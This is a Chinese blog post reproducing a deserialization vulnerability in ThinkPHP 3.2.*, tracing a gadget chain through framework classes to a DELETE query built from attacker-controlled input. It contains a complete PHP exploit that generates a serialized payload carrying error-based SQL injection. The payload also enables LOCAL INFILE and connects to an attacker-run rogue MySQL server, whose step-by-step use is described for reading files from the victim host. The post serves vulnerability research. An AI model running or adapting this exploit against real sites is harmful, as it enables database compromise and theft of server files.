ThinkPHP v3.2.* (SQL注入&文件读取)反序列化复现

参考

https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247484711&idx=1&sn=0dd0f72b376b4922e4ae5b8bd614ae89&scene=21#wechat_redirect

搭建环境

框架会自动生成一个默认控制器,在默认控制器下添加一个测试用的Action即可。

image-20210404213944476.png

分析

1./ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

$this->img可控,寻找由destory方法的类

image-20210404165131700.png

2./ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

destroy()方法中调用delete()方法 ,$this->handle属性可控,可传入任意类并调用它的delete()方法。destroy()方法需要传入一个$sessID,但是前面调用destroy()没有传值,而$this->sessionName可控,这样整个传入的参数都可控

image-20210404191359058.png

3./ThinkPHP/Library/Think/Model.class.php

$options数组为传入参数,可控,其他属性也可控,这样在两个if语句中出现的四个条件都可以满足,就可以第二次调用delete()方法也就是自身,而这次的参数变成了$this->data[$pk],完全可控。而且通过下面这条语句可以调用任意类的delete()方法。

1
$this->db->delete($options);

image-20210404192205171.pngimage-20210404193309170.png

image-20210404191751409.png

4./ThinkPHP/Library/Think/Db/Driver.class.php

$options数组为传入参数,可控。因此$table可控,$table被拼接到$sql,再被传入$this->execute()

1
2
$table=$this->parseTable($options['table']);
$sql='DELETE FROM '.$table;

最终执行$this->execute($sql,!empty($options[‘fetch_sql’]) ? true : false);

image-20210404192205171.png

execute()方法中调用initConnect()方法初始化数据库

image-20210404194434180.pngimage-20210404194513308.png

在initConnect()方法中,可以通过修改属性,满足条件empty($this->config[‘deploy’]),调用connect()。

image-20210404194631408.png

这里新建了一个PDO对象,使用$this->config里的配置去创建数据库连接,然后去执行前面拼接的DELETESQL语句。

image-20210404194732354.png

利用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "192.168.111.129",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

利用LOAD DATA INFILE读取文件,由于mysql客户端绝对信任服务端。导致攻击机可以构造一个恶意服务端,在连接的时候发送读取文件的请求,然后返回的结果会被记录到mysql.log

搭建mysql服务端->客户端连接->发送读取文件请求->在mysql.log中读取文件的内容

https://github.com/allyshka/Rogue-MySql-Server/

修改为要读取的文件

image-20210404184322223.png

运行

image-20210404184420116.png

触发反序列化,连接恶意服务端

image-20210404211227400.png

在mysql.log中查看读取到的文件

image-20210404184644477.png

image-20210404184609586.png


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!